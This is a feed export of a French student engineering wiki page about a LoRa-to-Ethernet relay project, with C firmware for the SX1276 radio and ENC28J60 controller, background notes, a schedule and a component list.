                                                /* Attendre un paquet LoRa un temps raisonnable */&lt;br /&gt;
                                                unsigned char test=0;&lt;br /&gt;
                                                sx1276_LoRaEntryRx();&lt;br /&gt;
                                                rxmode=1;&lt;br /&gt;
                                                for(i=0;i&amp;lt;MAX_WAIT/GRAIN_WAIT;i++){&lt;br /&gt;
                                                        test=sx1276_LoRaRxTest();&lt;br /&gt;
                                                        if(test) break;&lt;br /&gt;
                                                        _delay_ms(GRAIN_WAIT);&lt;br /&gt;
                                                        }&lt;br /&gt;
                                                if(test){&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                        printf(&amp;quot;Got answer!\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                                        }&lt;br /&gt;
                                        }&lt;br /&gt;
                                        else _delay_ms(10);&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                        else{&lt;br /&gt;
                                if(num==-2){&lt;br /&gt;
                                        unsigned char c=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                        printf(&amp;quot;Send void packet\n&amp;quot;);&lt;br /&gt;
#endif&lt;br /&gt;
                                        sx1276_LoRaEntryTx();&lt;br /&gt;
                                        sx1276_LoRaTxPacket(&amp;amp;c,1);&lt;br /&gt;
                                        sx1276_LoRaTxReady();&lt;br /&gt;
                                        num=-1;&lt;br /&gt;
                                }&lt;br /&gt;
                        }&lt;br /&gt;
                }&lt;br /&gt;
                if(index_ethernet&amp;lt;=0 || nb_ethernet==0){&lt;br /&gt;
                        if(!rxmode) sx1276_LoRaEntryRx();&lt;br /&gt;
                        rxmode=1;&lt;br /&gt;
                        }&lt;br /&gt;
                if(rxmode &amp;amp;&amp;amp; (nb_received=sx1276_LoRaRxPacket(packet_received,MAX_FRAGMENT+1))&amp;gt;0)       //receptionfrom LoraClient&lt;br /&gt;
                {&lt;br /&gt;
                        unsigned char header=packet_received[nb_received-1];&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;rec=%d h=%02x\n&amp;quot;,nb_received,header);&lt;br /&gt;
#endif&lt;br /&gt;
                        if (nb_received&amp;gt;1)&lt;br /&gt;
                        {&lt;br /&gt;
                                int j;&lt;br /&gt;
                                if(num&amp;gt;=0 &amp;amp;&amp;amp; (header&amp;amp;0x7f)!=num+1) num=-1;&lt;br /&gt;
                                else{&lt;br /&gt;
                                        if(num&amp;lt;0) num=-1;&lt;br /&gt;
                                        if((header&amp;amp;0x7f)==0x00)&lt;br /&gt;
                                        {&lt;br /&gt;
                                                enc28j60InitializeSend();&lt;br /&gt;
                                                output_set(6,1);&lt;br /&gt;
                                        }&lt;br /&gt;
                                        for(j=0;j&amp;lt;nb_received-1;j++) enc28j60WriteByteSend(packet_received[j]);&lt;br /&gt;
                                        if((header&amp;amp;0x80)==0x00) num++;&lt;br /&gt;
                                        else {&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                                                printf(&amp;quot;Ether sending num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                                                num=-2;&lt;br /&gt;
                                                enc28j60FinalizeSend();&lt;br /&gt;
                                                output_set(6,0);&lt;br /&gt;
                                                }&lt;br /&gt;
                                        }&lt;br /&gt;
                        }&lt;br /&gt;
                        rxmode=0;&lt;br /&gt;
#ifdef DEBUG&lt;br /&gt;
                        printf(&amp;quot;num=%d\n&amp;quot;,num);&lt;br /&gt;
#endif&lt;br /&gt;
                }&lt;br /&gt;
        }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons effectué des tests avec un module LoRa et une carte réseau chaque coté, nous avons réussit à envoyer des paquets icmp et des paquets arp.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:0001.jpg|thumb|upright=0.75|manipulation]]&lt;br /&gt;
|[[Fichier:0002.jpg|thumb|upright=0.75|tcpdump+ping]]&lt;br /&gt;
|[[Fichier:0003.jpg|thumb|upright=0.75|tcpdump]]&lt;br /&gt;
|[[Fichier:0004.jpg|thumb|upright=0.75|minicom]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Références =&lt;br /&gt;
&lt;br /&gt;
=== Datasheets ===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_cartereseau.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:datasheet_lora.pdf]]&lt;br /&gt;
&lt;br /&gt;
Micro-controleur Atmega328p: http://www.atmel.com/Images/Atmel-42735-8-bit-AVR-Microcontroller-ATmega328-328P_datasheet.pdf&lt;br /&gt;
&lt;br /&gt;
=== Documentation (Liens utiles) ===&lt;br /&gt;
&lt;br /&gt;
https://learn.adafruit.com/adafruit-feather-32u4-radio-with-lora-radio-module/downloads&lt;br /&gt;
&lt;br /&gt;
Schematic du module radio : http://modtronix.com/prod/imod/inair9/inair9_r1_sch.pdf&lt;br /&gt;
&lt;br /&gt;
Schematic du mbed : https://developer.mbed.org/media/uploads/chris/lpc1768-refdesign-schematic.pdf&lt;br /&gt;
&lt;br /&gt;
Carte MBED à base de microprocesseur ARM Cortex-3 : http://www.rennes.supelec.fr/ren/perso/jweiss/microp/mbed/mbed.php/&lt;br /&gt;
&lt;br /&gt;
Carte MBED : http://elmicro.com/en/mbed-nxp-lpc1768.html&lt;br /&gt;
&lt;br /&gt;
https://github.com/2xs/smews/tree/develop/targets/Arduino_ethernet/drivers&lt;br /&gt;
&lt;br /&gt;
= Rapport du PFE =&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Rapport_intermédiairePFE19_Chen_Nduwayo.pdf]]&lt;br /&gt;
&lt;br /&gt;
=Programme du projet=&lt;br /&gt;
[[Programme:Bridge.zip]]&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Bridge.zip&amp;diff=39551</id>
		<title>Fichier:Bridge.zip</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Bridge.zip&amp;diff=39551"/>
				<updated>2017-02-25T15:25:13Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Cchen2</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39550</id>
		<title>P19 Relai Ethernet Lora</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P19_Relai_Ethernet_Lora&amp;diff=39550"/>
				<updated>2017-02-25T15:24:57Z</updated>
		
		<summary type="html">&lt;p&gt;Cchen2 : /* Programme du projet */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Présentation générale du projet=&lt;br /&gt;
===Contexte du projet===&lt;br /&gt;
&lt;br /&gt;
L'internet des objets est un domaine en pleine croissance qui permet entre autres d'établir des interactions entre des utilisateurs et des objets connectables.&lt;br /&gt;
&lt;br /&gt;
Les domaines d'applications sont diverses et variées: du contrôle des chauffages dans nos maisons en passant par les smart cities,ou encore le tracking des marchandises,..on y retrouve des dispositifs intelligents tels que des capteurs, des interfaces de communication avec d'autres dispositifs,..&lt;br /&gt;
Aujourd'hui plusieurs équipements embarqués voient le jour, cependant les protocoles de communication n'évoluent pas autant, entraînant donc une forte consommation d'énergie, un besoin énorme en termes de mémoire, réseau,..&lt;br /&gt;
&lt;br /&gt;
Semtech,une entreprise grenobloise, crée en 19 un modem radio LoRa adapté aux besoins des objets connectés et offre une technologie de communication à faible consommation d'énergie, une longue portée(pouvant aller jusqu'à 15 km),un débit faible,..&lt;br /&gt;
&lt;br /&gt;
L'actuelle main mise du privé sur les réseaux IP n'est pas forcément une bonne chose pour Internet.&lt;br /&gt;
&lt;br /&gt;
===Objectif du projet===&lt;br /&gt;
&lt;br /&gt;
L'objectif du projet est de réaliser un module autonome connectable sur une box Internet permettant de relier deux sites avec une connexion longue distance.&lt;br /&gt;
[[Fichier:carte.png|500px|center|Schématique de l'objectif du projet]]&lt;br /&gt;
&lt;br /&gt;
===Cahier de charges===&lt;br /&gt;
Le projet se déroulera en deux phases. Nous utiliserons 2 technologies: L'ethernet et la communication par radio fréquences.&lt;br /&gt;
&lt;br /&gt;
Nous réaliserons d'abord un premier prototype construit  autour d'un AtMega328P, d'une carte Ethernet (avec un micro-contrôleur Microchip ENC28J60), et d'un modem radio LoRa.&lt;br /&gt;
Un connecteur USB est prévu pour l'alimentation.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous réaliserons un deuxième prototype sur la base d'un module MBED équipé d'un microcontroleur 32 bits à processeur ARM Cortex M3  , du même modem LoRa.&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi ce processeur pour :&lt;br /&gt;
&lt;br /&gt;
le fait qu'un module Ethernet PHY soit  intégré; qui opère au niveau de la couche physique du modèle OSI et met en œuvre la partie de la couche physique Ethernet du 1000BASE-T, 100BASE-TX, et les normes 10BASE-T.&lt;br /&gt;
&lt;br /&gt;
la vitesse du processeur très élevée,&lt;br /&gt;
&lt;br /&gt;
Présence de plusieurs périphériques série&lt;br /&gt;
&lt;br /&gt;
En ce qui concerne l'environnement de développement,le compilateur MBED permet d'écrire des programmes en C++ qui peuvent être compilés en ligne.&lt;br /&gt;
    &lt;br /&gt;
Nous comptons également utiliser le protocole PoE (Power over Ethernet) pour l'alimentation par le port Ethernet, prévoir un protocole de communication pour la transmission des paquets Ethernet par LoRa.&lt;br /&gt;
&lt;br /&gt;
===Suivi du projet===&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 1 (19/09)&lt;br /&gt;
 | Réunions avec l'encadrant de projet / Définition des objectifs / Recherche bibliographique&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 2 (26/09)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Semaine 3 (03/10)&lt;br /&gt;
 | &lt;br /&gt;
 |-&lt;br /&gt;
  ! scope=&amp;quot;row&amp;quot; | Semaine 4 (11/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 5(18/10)&lt;br /&gt;
 | Etablissement de la liste du matériel&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 6(25/10)&lt;br /&gt;
 | Recherche de la librairie C pour le SX1276&lt;br /&gt;
 |-&lt;br /&gt;
   ! scope=&amp;quot;row&amp;quot; | Semaine 7(31/10)&lt;br /&gt;
 | Réalisation des schematics pour la carte1 et création des bibliothèques des composants&lt;br /&gt;
 |-&lt;br /&gt;
&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
===Planning prévisionnel===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Planning_.pdf]]&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PLANNING.png|800px|center|Planning du projet]]&lt;br /&gt;
&lt;br /&gt;
===La recherche et la documentation ===&lt;br /&gt;
====Microcontrôleur Atmega328p====&lt;br /&gt;
Atmega328p est un mono-puce microcontrôleur.&lt;br /&gt;
====Carte Réseau====&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau?=====&lt;br /&gt;
La carte réseau (appelée Network Interface Card en anglais et notée NIC) constitue l'interface entre l'ordinateur et le câble du réseau. La fonction d'une carte réseau est de préparer, d'envoyer et de contrôler les données sur le réseau. &lt;br /&gt;
&lt;br /&gt;
Pour préparer les données à envoyer, la carte réseau utilise un transceiver qui transforme les données parallèles en données séries. Chaque carte dispose d'une adresse unique, appelée adresse MAC, affectée par le constructeur de la carte, ce qui lui permet d'être identifiée de façon unique dans le monde parmi toutes les autres cartes réseau. &lt;br /&gt;
&lt;br /&gt;
=====Quel est le rôle d'une carte réseau?=====&lt;br /&gt;
Une carte réseau sert d'interface physique entre l'ordinateur et le câble. Elle prépare pour le câble réseau les données émises par l'ordinateur, les transfère vers un autre ordinateur et contrôle le flux de données entre l'ordinateur et le câble. Elle traduit aussi les données venant du câble et les traduit en octets afin que l'Unité Centrale de l'ordinateur les comprenne. Ainsi une carte réseau est une carte d'extension s'insérant dans un connecteur d'extensions (slot). &lt;br /&gt;
&lt;br /&gt;
=====Qu'est-ce qu'une carte réseau Ethernet?=====&lt;br /&gt;
La plupart des cartes réseau destinées au grand public sont des cartes Ethernet. Elles utilisent comme support de communication des paires torsadées (8 fils en cuivre), disposant à chaque extrémité de prises RJ45. &lt;br /&gt;
&lt;br /&gt;
Les trois standards Ethernet (norme 802.3) les plus courants correspondent aux trois débits les plus fréquemment rencontrés : &lt;br /&gt;
1.Le 10Base-T permet un débit maximal de 10 Mbit/s. Le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont    utilisés.&lt;br /&gt;
2.Le 100Base-TX permet un débit maximal de 100 Mbit/s. Il est également appelé Fast Ethernet et est désormais supporté par la quasi-totalité des cartes réseau. Comme pour le 10Base-T, le câble RJ45 peut alors mesurer jusqu'à une centaine de mètres et seuls 4 des 8 fils sont utilisés.&lt;br /&gt;
3.Le 1000Base-T permet un débit maximal de 1 000 Mbit/s. Il est également appelé Gigabit Ethernet et se démocratise rapidement. Pour que le réseau fonctionne correctement, le câble RJ45 peut toujours mesurer jusqu'à 100 m, mais doit être de bonne qualité. Cette fois, les 8 fils sont utilisés.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ce.jpg|300px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
=====Module ENC28J60=====&lt;br /&gt;
Pour la suite de notre projet, il faut une bonne connaissance du module ENC28J60. La puce enc28j60 est Microship présente le premier controleur Ethernet 10BASE-T(10Mbits/s) reference ENC28J60 se laissant facilement piloter via un bus SPI(Serial Programming Interface) par un microcontroleur et ne comportant que 28 broches pour un boitier au format DIL.&lt;br /&gt;
Ce contrôleur Ethernet dispose d'un module MAC et PHY intégrés et de 8ko de mémoire tampon permettant de minimiser la complexité de la mise en oeuvre et le coût. Les applications visées sont : la VoIP, l'automation industrielle, l'automation de bâtiment, l'instrumentation, la sécurité et la domotique.&lt;br /&gt;
Jusqu'à lors, on ne trouvait sur le marché que des contrôleurs Ethernet tels que le RTL8019AS de Realtek. Ce circuit n'existait qu'au format CMS (boitier PQFP) composé d'une centaine de broches dont le tiers étaient destinées au bus de communication parallèle (adresses et données). Bref, sa mise en oeuvre était pour le moins ardue que ce soit sur le plan du routage du circuit imprimé que pour la soudure du composant.&lt;br /&gt;
Ainsi, grâce à son faible nombre de broches faciles à souder, le ENC28J60 permet une intégration sensiblement facilité dans votre réseau domestique en lui couplant un microcontrôleur afin de piloter les fonctionnalités Ethernet. Disponible en boitier DIL (DIP), il reste la solution la moins chère pour la mise en oeuvre d'un projet connecté au réseau Ethernet.&lt;br /&gt;
Il y a 7 sections de fonctionnalités pour ENC28J60. &lt;br /&gt;
*1). Un Interface SPI : un canal de communication entre le contrôleur hôte et l’ENC28J60.&lt;br /&gt;
*2). Les registres de control : contrôle et surveille l’ENC28J60.&lt;br /&gt;
*3). Un buffer RAM avec doubles ports : reçoit et transmet des paquets de données.&lt;br /&gt;
*4). Un arbitre : contrôle l’accès du buffer RAM quand des demandes sont faites de DMA, transmet et reçoit des blocs.&lt;br /&gt;
*5). Un interface bus : interprète des données et des commandes reçues via l’interface SPI.&lt;br /&gt;
*6). Un module MAC(Medium Access Control) : implémente IEEE 802.3 qui conforme MAC logique.&lt;br /&gt;
*7). Un module PHY (Physical Layer) : code et décode des données analogiques qui sont présentées sur l’interface à paire torsadée.&lt;br /&gt;
Le dispositif contient aussi d’autres blocs de supports, tel que l’oscillator, régulateur de tension et la logique de commande du système.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
| [[Fichier:ether.png|thumb|upright=2|L'intérieure d'enc28j60]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
Il y a trois types de registres pour enc28j60: controller registre, ethernet registre et mac registre. Pour voir comment fonctionne le registre, cela contient 2+2+2 étapes, c'est à dire que l'écriture de registre et la lecture de registre, l'écriture de buffer et la lecture de buffer, l'écriture de registre PHY et la lecture de registre PHY. Les fonctions dans la librairie d'enc28j60 qui permettent de réaliser toutes ces l'écriture et la lecture sont.&lt;br /&gt;
&lt;br /&gt;
=Avancement du projet=&lt;br /&gt;
===Souder la carte Ethernet===&lt;br /&gt;
[[Fichier:carte1.JPG|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
===Liste du matériel ===&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! Matériel !! Quantité requise !! Quantité disponible !! A commander !! Commentaires &lt;br /&gt;
 |-&lt;br /&gt;
 |&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Premier prototype (à base d'un AtMega328P) &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie Ethernet&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 49.9Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w0603149r9/res-couche-epaisse-49-9r-1-0-063w/dp/1170658]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 270Ω &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031270r/res-couche-epaisse-270r-1-0-063w/dp/9330917]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistances 2.32kΩ &lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/panasonic-electronic-components/erj3ekf2321v/res-couche-epaisse-2-32k-1-0-1w/dp/2059348]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités polarisation 10µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Panasonic/EEE-1CA100SR/?qs=sGAEpiMZZMtZ1n0r9vR22cS6GEbW2ftopYz4rCIbvDM%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 0.1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/walsin/0603b104k500ct/condensateur-mlcc-x7r-0-1uf-50v/dp/2496834]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 20pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n200j500ct/condensateur-mlcc-c0g-20pf-50v/dp/2627461]&lt;br /&gt;
 |- &lt;br /&gt;
 | Capacités 1µF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603f105z160ct/condensateur-mlcc-y5v-1uf-0603/dp/1759408]&lt;br /&gt;
 |-&lt;br /&gt;
 | Puce Électronique ENC28J60SP&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/microchip/enc28j60-i-ss/controller-ethernet-w-spi-28ssop/dp/1811239]&lt;br /&gt;
 |- &lt;br /&gt;
 | Régulateur MCP1702Z&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://eu.mouser.com/ProductDetail/Microchip-Technology/MCP1702T-3302E-CB/?qs=sGAEpiMZZMvAvBNgSS9Lqk3eHZrpDiDq]&lt;br /&gt;
 |-&lt;br /&gt;
 |Régulateur de tension LD1117AV33&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/STMicroelectronics/LD1117S33CTR/?qs=sGAEpiMZZMsGz1a6aV8DcJsN6alkZ8%2fO7DPMKNVBfQo%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Connecteur SI-50196-F&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Digi-Key [http://www.digikey.com/product-detail/en/stewart-connector/SI-50196-F/380-1104-ND/1033370]&lt;br /&gt;
 |-&lt;br /&gt;
 | Filtre BL01RN1A&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/bl01rn1a1d2b/inductance-axial/dp/9526820][http://eu.mouser.com/ProductDetail/Murata-Electronics/BLM18SG260TZ1D/?qs=sGAEpiMZZMtdyQheitOmRQALsn%2f4R2uWDsPpHR73GJ7AqK%2feTuCJMw%3d%3d]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Quartz ECSS250XM&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/TXC-Corporation/AT-27000MAGK-T/?qs=sGAEpiMZZMsBj6bBr9Q9acbyZ2GpyozzM1WJFBKECM0%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie  Arduino&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Micro-contrôleur de type ATMEGA328P&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/atmel/atmega328p-mur/mcu-8-bits-atmega-20mhz-mlf-32/dp/2425125]&lt;br /&gt;
 |- &lt;br /&gt;
 | Quartz FA238 16MHz&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/iqd-frequency-products/lfxtal003237/quartz-cms-16mhz/dp/9713808?MER=BN-PDP-9713808]&lt;br /&gt;
 |-&lt;br /&gt;
 | Résistance 1MΩ +/- 5%&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603saf1004t5e/thick-film-resistor-1mohm-100mw/dp/1631320]&lt;br /&gt;
 |- |&lt;br /&gt;
 | Résistance 1KΩ&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mcwr06x1001ftl/res-couche-epaisse-1k-1-0-1w-0603/dp/2447272]&lt;br /&gt;
 |-&lt;br /&gt;
 | Resistances 470Ω&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0063w06031470r/res-couche-epaisse-470r-1-0-063w/dp/9331239]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 100nF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell  [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 4.7uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x475k6r3ct/condensateur-mlcc-x5r-4-7uf-6/dp/2320811]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacité 10uF&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5 |&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603x106m6r3ct/condensateur-mlcc-x5r-10uf-0603/dp/1759393]&lt;br /&gt;
 |-&lt;br /&gt;
 | Interrupteur&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/CK-Components/GT11MSABE/?qs=sGAEpiMZZMvudeGI7i40XDPOW52%2fnz5EVihaxwUPFuE%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Embase USB&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | 2&lt;br /&gt;
 | Farnell [http://fr.farnell.com/te-connectivity-amp/1734328-1/embase-mini-usb-2-0-type-ab-traversante/dp/2112375?ost=2112375&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | FTDI FT232 BASIC&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/ftdi/ft232bl-tr/usb-to-uart-lqfp32-232/dp/9519769] MOUSER [http://www.mouser.fr/ProductDetail/FTDI/FT232RL-TUBE/?qs=sGAEpiMZZMs5ceO8zL%252bTx2H7JnbI4GMI]&lt;br /&gt;
 |-&lt;br /&gt;
 | Diode&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | 5&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/s1a/diode-cms-1-0a-50v/dp/7277920?ost=DIODE+7277920&amp;amp;selectedCategoryId=&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories&amp;amp;searchView=table&amp;amp;iscrfnonsku=false]&lt;br /&gt;
 |-&lt;br /&gt;
 | Regulateur 78ADJ  LDO Tension fixe&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/on-semiconductor/mc33269dt-5-0g/ic-linear-voltage-regulator/dp/1652331?ost=1652331&amp;amp;selectedCategoryId=&amp;amp;categoryName=Toutes+les+cat%C3%A9gories&amp;amp;categoryNameResp=Toutes%2Bles%2Bcat%25C3%25A9gories]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED yellow&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0806/led-0805-super-brt-yellow/dp/1716767]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED orange&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell&lt;br /&gt;
 |-&lt;br /&gt;
 | LED green&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0804/led-0805-green-300mcd-520nm/dp/1716766]&lt;br /&gt;
 |-&lt;br /&gt;
 | LED blue&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | 3&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/ovs-0603/led-0603-super-bright-blue/dp/1716770]&lt;br /&gt;
 |-&lt;br /&gt;
 | &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;Partie LoRa&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
 |-&lt;br /&gt;
 | Module radio de type RF-LORA-868-SX1276&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | 4&lt;br /&gt;
 | Mouser [http://www.mouser.fr/ProductDetail/Semtech/SX1276IMLTRT/?qs=%2fha2pyFadugD0GFlntRWMUKdf7nvBipcWBFnZuVONfp58bvCDWvC3g%3d%3d]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 10uF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | Farnell [http://fr.farnell.com/murata/grm188r60j106ke47d/condens-mlcc-x5r-10uf-6-3v-0603/dp/2494230]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 100nF&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603b104k500ct/condensateur-mlcc-x7r-100nf-50v/dp/1759122]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 47pF |&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | 20&lt;br /&gt;
 | Farnell [http://fr.farnell.com/multicomp/mc0603n470j500ct/condensateur-mlcc-c0g-np0-47pf/dp/1759062]&lt;br /&gt;
 |-&lt;br /&gt;
 | Capacités 15pF&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
 | 10&lt;br /&gt;
